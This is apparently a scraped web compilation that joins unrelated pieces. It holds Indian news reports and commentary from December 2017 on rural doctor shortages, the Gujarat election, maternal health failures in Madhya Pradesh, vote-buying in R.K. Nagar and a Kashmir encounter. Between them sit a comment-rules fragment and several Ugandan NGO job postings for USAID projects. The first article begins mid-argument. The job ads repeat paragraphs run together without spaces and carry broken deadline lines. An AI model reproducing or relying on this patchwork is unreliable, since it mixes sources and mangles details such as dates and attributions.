The first reason is associated with inadequate production of doctors to adequately meet the needs of growing population. Based on the registration stock of doctors, the WHO and the Government of India cited that there were seven doctors per 10,000 people during 2007-2013. In contrast, a study undertaken by the author found that there were only 4.8 doctors per 10,000 population available in India in 2014 after considering deductions from the stock for retirement and emigration of doctors.

The study also emphasised that the country needs 1,476,000 practicing doctors in 2030 to meet a doctor-population ratio of 1:1000 people. This needs a growth rate of 120 per cent over the 2014 registered stock of doctors. Keeping in mind that the growth rate of registered doctors in each of the last two decades was merely 40 per cent, the growth rate of 120 per cent in the next 15 years would be difficult to achieve. Moreover, even an achievement of 1 doctor per 1,000 population in aggregate may not necessarily ensure adequate access of doctors in rural areas.

The other three reasons stated above cause unequal distribution of doctors between rural and urban areas. As per the Indian Public Health Standards (IPHS) norm to have at least one doctor in every Primary Health Centre (PHC) and nine doctors (including specialists) in a Community Health Centre (CHC), there was a shortfall of 57,951 doctors in 2014. Even if we were able to overcome this shortfall by filling the vacant positions, our rural public sector doctor-population ratio would have still remained low at 1.2 per 10,000 population, below the WHOs minimum norm of 2 doctors per 10,000 people.

It is also important to recognise that doctors trained under modern infrastructure are unwilling to work in rural areas under the prevailing conditions. A majority of the students who have access and wherewithal to study medical education are predominantly from the urban middle class; their expectations are drawn from their urban socialisation and aspiration. Rural areas do not have the social infrastructure such as roads, schools, electricity, internet connectivity and so on to match with the expectations and aspirations of the urban youth.

The young doctors in rural areas also find it difficult to manage and get access to professional support such as laboratory, conferencing and senior medical advice, etc. that are key to their career progress. Thus, their career prospects and the quality of life they can expect to provide to their families and children in an isolated environment is much below their social aspirations and dreams. Part of the resistance to rural service also comes from the fact that a large proportion of doctors train themselves as specialists. Specialist doctors are most likely to set up their service bases in urban areas in order to quickly recover their training costs or repay loans obtained for their education.

Though improvement of rural conditions through enhancement of rural infrastructure and incentives to doctors to practice in rural areas are necessary, these measures may not be sufficient to challenge the aggregate rural shortage of doctors (or healthcare practitioners). Therefore, a new cadre of health care workers is necessary to curb the dependence on doctors and improve access of healthcare services in rural areas.

In this direction, a three-year medical degree named as B.Sc. (Community Health) was introduced by the Central Government in August 2014. However, due to the lack of political will to counter the opposition of the Medical Council of India and Indian Medical Association, the course could not take off in the whole country. This initiative needs to be implemented on a pan-India basis to make a significant positive impact on rural health care and achieve health targets of the Sustainable Development Goals by 2030.

The writer is Associate Professor, Economics and Business Policy, FORE School of Management, New Delhi
Motorola Mobility India on Tuesday welcomed the governments decision to hike customs duty from 10 per cent to 15 per cent on mobile handsets.

We welcome the governments decision as it will provide further impetus to the Make in India initiative, Sudhin Mathur, Managing Director, Motorola Mobility India, told IANS.

Motorola, a Lenovo brand, makes and assembles smartphones at its manufacturing unit in Sriperumbudur near Chennai through global contract manufacturing partner Flextronics.

This move [on import duty] by the government will lead to more job creation and further enhance the manufacturing sector, Mathur told IANS.

With a combined market share at 9 percent, Lenovo-Motorola became the third top smartphone brand in India in the third quarter this year, according to IDC.

With the competition shifting to the retail market, Motorola has realigned its focus on opening Moto Hubs in the country. To strengthen its offline retail presence across India, Motorola India on Tuesday opened its first Moto Hub in Chennai in partnership with the multi-brand retail chain Poorvika Mobiles.

Motorola Mobility is planning to open Moto Hubs in 250 Poorvika Stores across 43 cities in Tamil Nadu, Pondicherry and Karnataka.

Earlier this month, Motorola announced the first-ever experiential store in south India. The company currently has six Moto Hubs (without the partnership) in Delhi-NCR and Mumbai and opened three such stores in Kolkata last month.

(Written with inputs from IANS)
1. Fill in your name or an alias. Do not leave blank or use the name 'guest' or 'anonymous'.

2. No Nivul Peh. Profanity will be deleted.
Organisation: University Research Co., LLC (URC)

Project Name: USAIDs Defeat TB Project

Duty Station: Kampala, Uganda

About US:

University Research Co., LLC (URC) is a global company dedicated to

improving the quality of health care, social services, and health education

worldwide. With a non-profit affiliate, the Center for Human Services (CHS),

URC manages projects in over 45 countries, including the United States.

About USAID Defeat TB project:

University Research Co., LLC (URC) is implementing the USAIDs Defeat

TB project. Aligned with Objective #3 in USAIDs Country Development

Cooperation Strategy and in support of the Government of Ugandas TB Program,

this five-year, USAID funded projects goal is to increase TB case

notification, case detection, and treatment outcomes through health system

strengthening. The Defeat TB project goal is to increase TB case notification,

case detection, and treatment outcomes through health system strengthening with

the aim of ending the TB epidemic in Uganda.

Job Summary: The Program

Assistant will provide support to project staff with the overall aim of

ensuring smooth functioning of operations and project activities. You are an

integral part of the administrative team and will work closely with senior and

technical staff to ensure project needs are met.



Key Duties and Responsibilities:

Office Support

Perform general clerical duties, to

include but not be limited to photocopying, scanning, faxing, filing, and

mailing.

Provide office administrative support

including organization and facilitation for internal meetings, drafting

agendas, and taking minutes;

Maintain hard copy and electronic versions

of a project archive, including contract and subcontract documents, client

approvals, consultant documents, travel files, procurement files, project

deliverables, project reports, and minutes of meetings.

Manage and document correspondences

between project offices, the home office, client, other partners, and

stakeholders.

Support new staff orientation, onboarding

and other HR initiatives.

The jobholder will also answer incoming

telephone calls, take complete and accurate messages for people who are

not available, and ensure they receive the messages.

Greet and escort guests.

Ensure timely settlement of office bills.

Provide support with making logistical

arrangements for project events and field activities.

Make logistical arrangements for project

staff traveling outside their region or for international visitors.

Program Support:

Prepare invitations for trainings and

workshops and follow-up with participants as needed

Support preparation of materials and

logistics for outside trainings, workshops, and special events

Develop checklist for required training

materials and equipment with technical lead and prepare corresponding

requests

Ensure training teams have required

materials and equipment packed prior to training and returned to stores/inventory

following the training

Prepare and distribute per diem and

transportation payments to training participants and organize required

supporting documentation

Manage logistics for meetings and

workshops including organization of lunch/tea, preparation of the meeting

space/equipment, welcome participants, and materials preparation.

Maintain electronic and paper files of

program communications, materials, and health unit specific documents.

Any other duties as assigned by supervisor

and other senior staff.









Qualifications, Skills and Experience:

The applicants for the USAID Defeat TB

Project Program Assistant job opportunity must hold a Bachelors Degree in

Administration, Management, Business, Social Science, or other relevant

field.

Two years of relevant professional

experience in office administration

Excellent knowledge and experience with

Windows, Word, Excel, PowerPoint, and other data processing and graphical

presentation software.

Ability to independently plan and execute

complex tasks while addressing daily management details and remaining

organized and focused on long-term deadlines and strategy highly

desirable.

Excellent inter-personal communication

skills and excellent organization skills.

Oral and written English language fluency.

NB: Only candidates who are eligible to work in

the Uganda for an indefinite period without a need for sponsorship will be

considered for this position.

How to Apply:



URC should upload their updated CVs / resumes and cover letters at the link

below. Also, please complete your application form and attach a completed USAID

Form 1420 Contractor Employee Biographical Data Sheet as well, All suitably qualified and interested candidates who wish to join theURC should upload their updated CVs / resumes and cover letters at the linkbelow. Also, please complete your application form and attach a completed USAIDForm 1420 Contractor Employee Biographical Data Sheet as well, download it

here

th

December 2017 by 5:00 pm Deadline: 29December 2017 by 5:00 pm



find us on our facebook page For more of the latest jobs, please visit https://www.theugandanjobline.com orfind us on our facebook page https://www.facebook.com/UgandanJobline




Job Title: Project Manager WASH

Organization: Catholic

Relief Services (CRS)

Funding Source: United States Agency for International

Development (USAID)

Duty Station: Uganda

Reports to: Deputy Chief of

Party

About US:

Catholic Relief Services (CRS) is an international non-profit

organization which implements the commitment of the Bishops of the United

States to assist the poor and vulnerable overseas. Our Catholic identity is at

the heart of our mission and operations. We welcome as a part of our staff and

as partners people of all faiths and secular traditions who share our values

and our commitment to serving those in need.



About USAID / FFP Program:

CRS is leading a consortium of 8 implementing and technical partners to

run a five-year USAID/FFP funded $35 million program called Nuyok to build

resilience to shocks, enhance livelihoods and improve food security and

nutrition for vulnerable rural families in three districts of Karamoja  Abim,

Nakapiripirit and Napak  which are home to 406,880 people living in an

estimated 58,126 households. Nuyok seeks to strengthen governance and gender

equity, community capacity to manage shocks and stresses, traditional and

diversified livelihood opportunities and nutrition and health (including

improved water, sanitation and hygiene (WASH)) of pregnant and lactating women

(PLW), adolescent girls and children under two years of age (CU2). At the end

of the program, sustainable results will include empowered, resilient, healthy

families; responsive, inclusive governance; and a vibrant private sector that

engages smallholders at every level.

Job Summary: The Project Manager WASH will provide

work with district level leadership, WASH sectoral working groups and WASH

coordinating mechanisms in the three districts. You will support, assistance

and advice to implementing partners in the WASH programming aspects with a

focus on the effective management and maintained of wash infrastructure,

communities knowledge of safe water treatment and storage, hygiene and

sanitation behaviors. You will also oversee parallel sanitation promotion in

schools through school hygiene clubs and through out-of-school youth groups. The Project Manager WASH will providework with district level leadership, WASH sectoral working groups and WASHcoordinating mechanisms in the three districts. You will support, assistanceand advice to implementing partners in the WASH programming aspects with afocus on the effective management and maintained of wash infrastructure,communities knowledge of safe water treatment and storage, hygiene andsanitation behaviors. You will also oversee parallel sanitation promotion inschools through school hygiene clubs and through out-of-school youth groups.



Key Duties and Responsibilities:

Work closely with district leadership and

WASH working groups and other coordinating mechanisms.

Act as the primary resource to CRS

partners and staff on best practices, training and learning for the Community-Lead

Total Sanitation Approach and gender sensitivity in WASH.

Guide and support WASH related

assessments, training, education, and project implementation.

Champion the understanding and utilization

of behavior change theory in hygiene promotion.

Ensure the projects and interventions are

in line with the Ministry of Water and Environment principals.

Facilitate and support formative research

for WASH activities and interventions and ensure the learning is

incorporated into training, workshops, and behavior change promotion.

Oversee the robust monitoring of WASH

activities and the incorporation of all aspects of MEAL.

Ensure the integration WASH across other

program areas including, Nutrition, Livelihoods, and private sector

engagement or income generation activities.











Experience: Qualifications, Skills andExperience:

The ideal candidate for the Catholic

Relief Services (CRS) Project Manager WASH job placement should preferably

hold a Masters Degree in Public Health, the Social Sciences or Civil

Engineering with experience in WASH infrastructure and social and

behavioral change interventions.

At least two years of relevant field-based

experience in coordinating or managing complex projects required,

preferably with an international NGO.

Additional experience may substitute for

some education.

Project management experience in WASH is

highly desirable.

Previous experience engaging with partner

organizations.

MEAL skills and experience preferred.

Computer literacy i.e. experience using MS

Windows and MS Office packages (Excel, Word, PowerPoint), Web Conferencing

Applications, information management systems.

Personal Skills

Strong critical thinking and creative

problem-solving skills with ability to make sound judgment.

Strong relationship management skills and

the ability to work effectively with culturally divers groups.

Strong written and verbal communication

skills with ability to write reports

Proactive, results-oriented, and

service-oriented Required Foreign Language: Karimojong is an advantage

Required Travel: Extensive travels within

Karamoja; 40-50% within DFSA implementation areas

Agency-Wide Competencies:

Serves with Integrity, Develops Constructive Relationships, Models

Stewardship, Promotes Learning

How to Apply:

All suitably qualified and interested Ugandan candidates are encouraged

to send their cover letters, CVs and three work references (names and contact

information only) to ug_recruitment@crs.org

NB: Large files and/or scans

of documents will lead to rejection of your application in the subject line of

the email, copy and paste PROJECTMANAGERWASHMOROTO

only.

th

December 2017 by 5:00PM Deadline: 29December 2017 by 5:00PM
Job Title: Shelter and Settlement Technical Officer

Organisation: Catholic

Relief Services (CRS)

Duty Station: Uganda

Reports to: Shelter and

Settlement Project Manager

About US:

Catholic Relief Services (CRS) in an international non-profit

organization that carries out the commitment of the Bishops of the United States

to assist the poor and vulnerable overseas. Our Catholic identity is at the

heart of our mission and operations. We welcome as a part of our staff and as

partners people of all faiths and secular traditions who share our values and

our commitment to serving those in need.

Job Summary: The Shelter and

Settlement Project Manager is primarily responsible for the quality standards

in the construction of the shelters through the CRS emergency response

programming in Bidi Bidi Refugee Settlement Camp. S/he will work closely with

the shelter and settlement project manager, community mobilization officer and

target communities to ensure the design and implementation of shelter

programming meets the highest technical and accountability standards. S/he will

provide technical input to shelter needs assessment, in collaboration with the

Yumbe-based Monitoring, Evaluation, Accountability and Learning (MEAL) Officer

and the Community Mobilization Officers. S/he will participate in the

orientations and trainings provided to hired labor or volunteers and respected

third parties in the host community as needed.



Responsibilities: Key Duties andResponsibilities:

Program Implementation:

Ensure shelter construction is in

accordance with design specifications through site visits.

Prepare and submit field reports and

maintain a filing system for project documentation.

Evaluate and process payments for skilled

and unskilled labor.

Evaluate performance of carpenters and

hired labor to ensure shelter quality and safety.

The jobholder will ensure that design

concerns raised by hired labor or beneficiaries are raised to the shelter

and settlement project manager.

Work closely with other CRS departments

concerning all aspects of project implementation.

Promote safety driven construction

practices (safety culture) by regular review of project site safety

initiatives and compliance by contractor.

Ensure procurement of shelter materials

are of high quality and delivered on time.











Experience: Qualifications, Skills andExperience:

The ideal candidate for the Catholic

Relief Services (CRS) Shelter and Settlement Technical Officer job

placement must hold a Bachelors Degree in engineering, or extensive

equivalent experience

At least five years of relevant work

experience as building trade carpenter mason specializing in local

construction methods specific to northern Uganda.

Extensive knowledge of local building

design standards; experience with humanitarian shelter a plus.

Previous experience working in West Nile

sub-region, Yumbe district preferred.

Demonstrated ability to build/work in a

team and to manage and motivate personnel drawing on individual skills to

advance agendas and problem solving.

Familiarity with affected populations

culture, ability to develop the respect from a wide range of people and to

communicate effectively on appropriate shelter solutions.

Excellent communication and negotiation

skills.

Strong knowledge and experience of working

with local/community partners.

Fluency in English with good verbal and

written communication skills.

Significant experience with assessments

and analytical and planning skills.

Excellent interpersonal skills and

consensus-building.

Proven experience of integrity and

professionalism.

Ability to work in partnership with local

communities and NGOs as appropriate.

Self-reliance and an ability to work in a

challenging and demanding environment.

Emergency Competencies:

Communicates strategically under pressure

Manages stress and complexity

Actively promotes safety and security

Manages and implements high-quality

emergency programs

Agency-Wide Competences (for all CRS Staff): Serves with

Integrity, Models Stewardship, Cultivates Constructive Relationships, Promotes

Learning

How to Apply: All suitably qualified and interested Ugandan candidates are encouraged

to send their cover letters, CVs and three work references (names and contact

information only) to ug_recruitment@crs.org NB: Large files and/or scans

of documents will lead to rejection of your application in the subject line of

the email, copy and paste SHELTER&SETTLEMENTTECHNICALOFFICERYUMBE only.



5:00pm Deadline: 2nd January 2018 by5:00pm
Organization: Infectious

Diseases Research Collaboration (IDRC)

Project Name: USAID Malaria

Action Program for Districts (MAPD)

Duty Station: Kampala,

Uganda

About US:

The Infectious Diseases Research Collaboration (IDRC) is a non-profit

research organization. IDRC conducts research in infectious diseases including

Malaria, HIV and Tuberculosis. Our studies have led to over 150 publications

and have impacted on the management of infectious diseases in Uganda. IDRC

currently manages over 41 grants with an annual budget of $11 million. IDRC was

established in May 2008 by Ugandan health scientists from Makerere University

College of health sciences, University of California, San Francisco and the

Uganda Ministry of health.

About USAID MAPD Project:

The Malaria Action Program for Districts (MAPD) project is a 5-year

USAID/PMI funded project. The project aims to prevent and control Malaria illnesses

and deaths in order to minimise the social economic effects of the disease

among the overall population of Uganda especially in children under 5 years of

age. The project will be implemented starting in August 2016, and will cover 43

districts with a total population of more than 13 million. The Malaria Action

Program for Districts project offers a partnership uniquely positioned to

deliver this implementation rollout. Partners include Johns Hopkins Program for

International Education in Gynecology and Obstetrics (JHPIEGO), Banyan Global,

Deloitte &Touche Uganda, Infectious Diseases Institute (IDI) and

Communication for Development Foundation-Uganda (CDFU).

Key Duties and

Responsibilities:

The incumbent will facilitate training of

Laboratory staff in performing diagnostic tests for febrile illnesses

including malaria microscopy and RDT for diagnosis of malaria at selected

health facilities involved in the MAPD program

Perform quality control on blood smears

and RDTs done at MRCs and selected health facilities involved in the MAPD

program

Participate in the conduct of data quality

assessments at MRCs and selected health facilities involved in the MAPD

program

Maintain an inventory of all laboratory

supplies and equipment delivered to selected health facilities involved in

the MAPD program and MRCs.

Setting up and supervising laboratory

QA/QC at all selected health facilities involved in the MAPD program and

at MRCs.

Support MAPD program activities as and

when requested.

Key Result Areas:

QA/QC reports

Training of staff in Lab techniques

Lab Inventory management

Setting up and supervision of Lab QA/QC

activities

Replicate MRC Lab Management model to

other sites.











Experience: Qualifications, Skills andExperience:

The applicant for the USAID MAPD Laboratory

Technician job should hold a Bachelors Degree in Medical Laboratory

Technology/Laboratory Science.

At least two to three years experience in

a similar role and setting

Excellent interpersonal and communication

skills.

Team building and networking skills

Integrity and ability to develop a

productive working relationship with District Health Teams.

Ability to operate in a fast and diverse

environment

How to Apply:

All candidates should deliver their typed letters of application

together with current CV and copies of academic certificates to:

The Human Resource Manager

Infectious Diseases Research Collaboration (IDRC),

P. O Box 7475, Kampala, 2C Nakasero Hill Road

OR

IDRC Tororo Office at the Tororo District Hospital

OR

IDRC Mbarara Office Opposite Lake View Hotel

OR

IDRC Mbale Office on Plot 35 Masaba Road

OR

IDRC Busia Office at Masafu General Hospital

OR

IDRC Fort portal Office Kagote Division, Kabafumu Road

OR

IDRC Jinja Bugembe Office next to Uganda Prisons.

Applications can be submitted to HR@idrc-uganda.org.

All applications must be accompanied by the following at the time of

submission:

Current CV (Use Word or PDF format only

for email submissions; photos are not allowed).

Typed letters of application (Use Word or

PDF format only for email submissions; photos are not allowed)

The contact details of three work related

referees

Copies of academic certificates (Use Word

or PDF format only for email submissions; photos are not allowed):

If you are applying by mail, PLEASE ENTER

YOUR NAME & THE NAME OF THE JOB OPENING IN THE SUBJECT LINE OF YOUR

E-MAIL.



2017 by 5:00pm Deadline: Friday 22nd December2017 by 5:00pm
But the tribe has a long way to go
BJP may have won Gujarat but the pain of not having achieved targeted 150 seats will remain for sometime for the party. But what is likely to have maximum impact is the alienation of rural voters. While GST and demonetisation clearly seem not to have too much of an impact on urban voters, it is the rural disenchantment that will weigh heavily on BJP's mind and will in turn get reflected in their policies as well.

"The key lesson for BJP here is that, if development remains lopsided, in other words if it is not broad-based then people become disillusioned and that's what has happened with rural voters. As a country, we are growing at 6-7 per cent, but that has not made a significant difference to the lives of people in these areas. Signs of rural distress are all across, says Sunil Sinha, principal economist, India Ratings.

To correct this anomaly, it is expected that government might boost rural spending. Increasing the minimum support price (MSP) could be one obvious step. There might be increased allocations for rural projects such as MGNREGA and PMGSY.

"Like it has happened in the past, this time too government will take populist measures such as cheaper power and farm loan waivers to temporarily assuage farmers. Until the fundamentmal issue of productivity is addressed, these measures will not help much, says Sinha.

B.L. Pandit, former head of the Department of Economics at Delhi School of economics however feels that, given the loss in number of seats, disruptive reforms would not be pursued going ahead. "Populism will rule. Right now they are eyeing 2019 and economy will take a backseat for now. Majoritarian politics is what we will see going ahead, he says.

Further streamlining of GST and focus on employment creation cannot be ruled out. With government raising a handsome amount through disinvestment this year, experts feel that some of the proceeds might be used to fund this spending.

Elections in eight states in 2018 are all the more reason why government would like to spend on populist measures keeping fiscal prudence at bay. The fiscal consolidation target will also have to be revised, if government allocates more money for such projects.
Two recent incidents of childbirth in open fields due to apathy of hospital staff in rural Madhya Pradesh have once again highlighted the poor health services in the state, which has the highest infant mortality rate (IMR) in the country.

According to an economic survey of the Registrar General of India tabled in the state Assembly recently, out of every 1,000 children born, 52 die at the time of birth in Madhya Pradesh, while the national average is 39 deaths. In rural areas, the number goes up to 57 deaths as against 43 at the national level in rural areas.

On Sunday night, Samarvati, a pregnant woman belonging to the backward Baiga tribe, was admitted to Dindori district hospital in eastern Madhya Pradesh. She was kept in hospital for few hours and later asked to leave. The doctors told her that her baby has died in the womb and she should go back home.

According to Samarvati's family, who live in Chobisa village, During labour pain, we had contacted the local health worker who referred us to district hospital Dindori. In Dindori, the nurses on duty misbehaved with us and sent us back, saying the child has died.

While coming back to the village, Samarvati experienced labour pain and had to deliver the child in the early morning in a field. Family members took out the pregnant woman from the vehicle and laid her on the ground where other village women helped her deliver a baby boy. The village women prepared a makeshift labour room and hid the pregnant mother with a saree enclosure.

Later, when the issue was brought to notice on social media, the district health and medical officer instituted an inquiry. Earlier last month, a newborn child died in the district hospital of Dindori due to medical negligence. A pregnant mother from Chandrani village was referred to Jablapur when she delivered a baby on the way.

Similarly, on December 8, a tribal woman delivered a baby in the open after she waited for the nurse to come to the health centre in Kadawaya village of Ashoknagar. The pregnant lady, Vidyabai, had come to the centre and called the nurse and doctor. However even after waiting for a few hours, when the two did not turn up, the poor tribal lady delivered a baby on the ground outside the health centre.

The newborn lay on the open field for about half an hour when a local journalist intervened to inform the doctor before clicking the shocking pictures of the newborn lying in the dust while the mother was writhing in pain.

When the matter was reported on social media and a huge outpouring of emotion against the government was seen, the commissioner of health announced an inquiry into the incident. Amulya Nidhi, a social activist working in the field of health, met Principal Secretary, health, Gouri Singh and submitted a memorandum.

Amulya Nidhi told THE WEEK, Inquiry or suspension of medical staff is not a solution to the problem. We need to improve the health infrastructure in the state, which has crumbled due to lack of attention by the government.

He said the two incidents are enough to explain the poor health situation in Madhya Pradesh. The state of Madhya Pradesh not only performs badly in IMR but also the maternal mortality rate in Madhya Pradesh is higher than the national figures. Three years back, the maternal mortality rate was 221 in Madhya Pradesh against the national figure of 167a figure that is 32.33% higher. The same situation continues today.

Amulya Nidhi criticised the government for not making the health sector a priority. He said the dismal allocation of the budget to health is reflected in these incidents, which are symptoms of a serious disease. Since the budget outlay is minimal, there are a series of issues ranging from shortage of medical staff to lack of primary healthcare infrastructure and speciality hospitals in urban centres.
Yet again, the Shiv Sena has failed to make its mark beyond Maharashtra. The saffron party had fielded 42 candidates in the Gujarat elections, and most of them have lost their deposits.

The party hoped to spoil the BJP's chances in the seats where Maharashtrians had a sizeable share in votes. However, its efforts have come to naught as its candidates were humbled and lost their deposits. Its strategy to contest elections outside Maharashtra is also part of the Shiv Sena's plan to take the party's footprint beyond the state.

Mumbai BJP president Ashish Shelar commented that the Shiv Sena will now have to invent EVMs that will help the party in not losing deposits. Reacting to the Sena's praise of Rahul Gandhi and the Congress, Shelar said that it was similar to celebrating the birth of a child in somebody else's house.

All of its candidates together fetched just over 33,000 votes for the saffron party, which has its core base in Maharashtra. According to the details available, only 11 Shiv Sena candidates could cross the 1,000 vote mark. Samrat Patil, who contested in Limbayat constituency, polled the maximum number of votes among all Sena candidates. He got 4,075 votes. The seat was won by Sangeeta Patil, another Maharashtrian, who contested on a BJP ticket. She got over 93,000 votes.

Shiv Sena corporator Rajul Patel, who was coordinating the party's effort in Gujarat, told THE WEEK that the BJP had won after manipulating EVMs. "One of our candidates got just two votes in a booth where his family of 16 members live. I am sure his entire family and friends voted for him," she claimed. "We are planning to raise the issue. I plan to visit Gujarat and talk to candidates who suffered. I will inform you (media) when we make a complaint."

The Shiv Sena first tested the electoral waters in Gujarat in 1998 when it contested five seats. This time around, the party has got just about 0.5 percent vote share, which is hardly an increase since 1998. The Shiv Sena candidates who polled least number of votes include Yogeshkumar Patil and Prashant Lokare. Patil, who contested from Matar constituency in Kheda district, got just 203 votes while Lokare, who fought in Surat West (Surat district) constituency, got 208 votes.
It is raining cash in R.K. Nagar, as parties flood the voters with cash for votes and the Election Commission also gears to show its might to curb the money distribution but at a cost of Rs 3 crore.

Popular MGR numbers in T.M. Soundarajans voice blare through the high-decibel speakers. The song is Naan Aanaiyittal. Athu nadanthu vital. Ingu ezhaigal vethanai pada matta (If I order and if it happens as per my order, the poor here will not worry.).

Two men are seen sipping tea, shaking their heads to the song, as a vehicle fitted with the speaker goes past them. An old man with folded hands, tells them, vote for two leaves. Minutes later, another vehicle crosses them and the speakers say Ungal votu udhayasooriyanukku (vote for Rising Sun). As the two vehicles pass through, another speaker blares, Makkal selvar annan T.T.V Dhinakaran. Ungal votu Cookarukku (please vote for the people's young man, T.T.V Dhinakaran). With just two days to go for the crucial R.K. Nagar bypoll, the last day of campaigning on Tuesday in the narrow lanes of the constituency is at its peak.

Campaigning will come to a close by Tuesday evening at R.K. Nagar, which is all set to go for elections on December 21. The constituency is now witnessing a three-corner fight between E. Madhusudhanan of the AIADMK, Marudhu Ganesh of the DMK and independent candidate T.T.V. Dhinakaran, while the BJPs Karu Nagarajan and 100 other candidates too are in the fray.

The cancellation of the polls eight months ago in April has not deterred the candidates and the parties from distributing cash for votes in the constituency this time. The rate alone differs, but it is raining cash and kind for the R.K. Nagar voters for the second time in one year.

According to sources close to each of the camps, it is Rs 6,000 from Madhusudhanan for each vote and a cooker for women voters in the constituency from the Dhinakaran camp. While it has taken these 'cash for votes' claims to the Election Commission, asking it to curb money distribution in the constituency and disqualification of Madhusudhanan, even the DMK, sources claim, is planning for last-minute money distribution in the constituency.

As per a report released by anti-corruption NGO Arappor Iyakkam, the 'rates' in the constituency are Rs 7,000, Rs 6,000 and Rs 3,000 from Dhinakaran, AIADMK and DMK, respectivelythus adding to Rs 16,000 per vote.

On December 16, EC officials and the police flying squad seized at least Rs 25 lakh in cash from more than 15 places in the constituency. Workers of the AIADMK were arrested and vehicles too were seized. Cases were booked in seven police stations. But more than cash, it is the arithmetic and the math that parties are calculating for a massive mandate in the bypoll.

However the EC has now deployed around 2,500 security personnel and installed cameras in each ward to telecast the polling live on the EC website. These arrangements, according to highly informed sources in the EC, would cost Rs 3 crore. Normally, a bypoll would cost Rs.60 lakh.

We have taken extra measures to curb money distribution in the next two days before the polling on December 21. We have deployed 21 All-India service officials as observers, returning officers, polling officials and security personnel, only to ensure a free and fair election, says Vikram Batra, special chief electoral officer for R.K. Nagar.

Apart from this, the EC has also increased the number of flying squads from two per ward to three. There are seven wards in total, which means there are 21 flying squads to ensure there is no last-minute money distribution in the constituency.

Despite all these, the contest, according to political observes has now narrowed down as a tight race between DMK and Dhinakaran, even when the AIADMK has got back its two-leaves symbol and its candidate Madhusudhanan hails from the same constituency.

The constituency, which has over 2 lakh voters, might not vote in the same pattern as it did for Jayalalithaa for two reasons. One, a simple conversation with the fishermen community in the constituency, which has over 30,000 votes, seems to turn towards the opposition. The consequences of Cyclone Okchi in Kanyakumari and the state government failing to take immediate steps to rescue them seem to have caused a dent in AIADMKs vote bank.

The other factor is the number of votes won by Jayalalithaa in 2016. She bagged 97,218 votes while DMKs Shimla Muthuchozhan got 57,673 votes. Now, these 97,000 votes too might split between Madhusudhanan and Dhinakaran. Though R.K. Nagar is considered a AIADMK bastion, the split in votes is likely to give an edge for the DMK. On the other hand, two two recent surveys have predicted a victory for Dhinakaran.
The fourth year in office has been turbulent for prime ministers. But Narendra Modi heaves a sigh of relief as he has used his personality and effort to single-handedly retain Gujarat for the BJP for a record sixth term.

He has faced the challenge of a resurgent Congress head-on as he traversed his home state, much more than Chief Minister Vijay Rupani, to convert marginal constituencies into victories, and to encourage his troops.

Modi began 2017 with the big bang victory in Uttar Pradesh, which settled doubts raised by demonetisation, while the retention of Gujarat and wresting of Himachal Pradesh show that he is the sole strength of the BJPwithout him, the party would have floundered. In Himachal Pradesh, the local leaders did not matter, with the BJP's chief ministerial candidate, Prem Kumar Dhumal, unable to win his own seat.

The successes of the sole vote winner mean there will be no challenge for Modi's leadership in the BJP, but he would also carry the Himalayan burden of straining himself to win every election for his party. In fact, even before the EVMs could be opened in Gujarat and Himachal Pradesh, Modi had gone to do pre-election campaigning in Meghalaya and Mizoram, which go to polls, along with Tripura, in February.

2018 will again test the campaigning skills of the prime minister as he continues to strive to achieve a Congress-free India, where his principal opponent does not have a single chief minister to call its own.

Apart from these three states, 2018 will see people go to polling booths in Karnataka (April) and Madhya Pradesh, Rajasthan, Chhattisgarh and Nagaland (towards year end). Among these elections, the fight is direct between the BJP and Congress in six states, with regional parties dominant in Tripura (CPI[M]) and Karnataka (Janata Dal [Secular] in the southern part of the state).

In Karnataka, Meghalaya and Mizoram, the Congress would be defending its turf, while the BJP is ruling Madhya Pradesh, Rajasthan and Chhattisgarh. The CPI(M) has been in power in Tripura for long, and the Naga People's Front government rules Nagaland, where the BJP is a minor partner.

The eight Assembly elections, to be held in three batches according to current indications, will be the semifinal contest between Modi and the new Congress president Rahul Gandhi. Modi and his party have laid so much negative emphasis on Gandhi that the young leader has become the face of the opposition to the BJP.

The non-BJP opposition had the same approach for Modi in the run-up to the 2014 Lok Sabha elections, giving Modi pre-eminent position among all BJP leaders. This could lead to regional parties in some states aligning with the Congress, even though local conditions preclude the CPI(M) (Kerala), Trinamool Congress(West Bengal), Biju Janata Dal (Odisha) and Aam Aadmi Party (Delhi) from shaking hands with the Congress, which is their main opposition at the state level. But these parties would be amenable for a post-electoral adjustment with the Congress, if the BJP falls short of a majority in the 2019 election.

Since the Gujarat victory has been a narrow one, Modi would have to think twice about advancing the Lok Sabha elections by one year or at least six months. If the BJP had touched the 150-seat target set by its high-achiever president Amit Shah, then Modi could have looked at elections in the summer of 2018, by advancing state Assembly elections, which are due in the second half of 2018. But Gujarat has shown the erosion of BJP votes after the landslide victory in 2014 elections when the BJP won all the 26 Lok Sabha seats to send its son of the soil as prime minister.

For Gandhi, time is at a premium as he has to campaign to retain the states run by the Congress and pose a challenge in those states controlled by the BJP and its allies. Simultaneously, he has to work on revamping the Congress party at all levels, and spend political time to work out new alliances against the BJP. There is no time for both Modi and Rahul to take it easy after the hectic and acrimonious campaigning in Gujarat.
A woman and two Jaish-e-Muhammad militants were killed on Tuesday during an operation by the security forces in Shopian in south Kashmir.

The woman identified as Ruby, 24, is the third civilian killed allegedly in firing by the security forces in a week. On December 17, Asif Iqbal, a driver, was shot dead by Army at Thindpora in Kupwara. Six days before, another woman, 25, with an eight-month-old girl died at Handwara in a similar fashion as Ruby. Iqbal's killing had led to massive protests in the area forcing the government to order a probe.

Residents claimed Ruby was killed during clashes between protesters and security forces near the encounter site in which several people and nine policemen were injured. Police said the woman was killed in the crossfire.

During the crossfire, one lady identified as Ruby, wife of Manzoor Ahmad Mir of Bata Murran, got critically injured and later succumbed at district hospital Pulwama,'' police spokesman said. ''Nine civilians were also injured, whose condition is said to be stable.''

The two JeM militants were killed after security forces received specific information about the presence of militants at Bata Murran Shopian.

While the cordon was being laid, hiding terrorists fired upon the joint search party, and an encounter ensued. The cordon was strengthened and the civilians in the nearby area were evacuated, police spokesman said.

During the encounter, security forces made repeated requests to local militant Tanveer Ahmad to surrender, but he didn't budge.

The terrorists continued firing on the security forces, which was retaliated. Two JeM terrorists were killed in this encounter who were identified as Tanveer Ahmad from Bata Murran Shopian and Ali alias Qari, a foreign terrorist. Two AK rifles and other allied ammunition were recovered from the encounter site,'' the spokesman said. ''One terrorist managed to flee the site.''

A soldier of 44 RR and a constable of police were also injured during the encounter.

The police said the slain militants were involved in the killing of two J&K bank guards at Poju in Shopian on December 11.

The Joint Resistance Leadership of separatists has called for a strike on Wednesday against the killing of three civilians in one week.
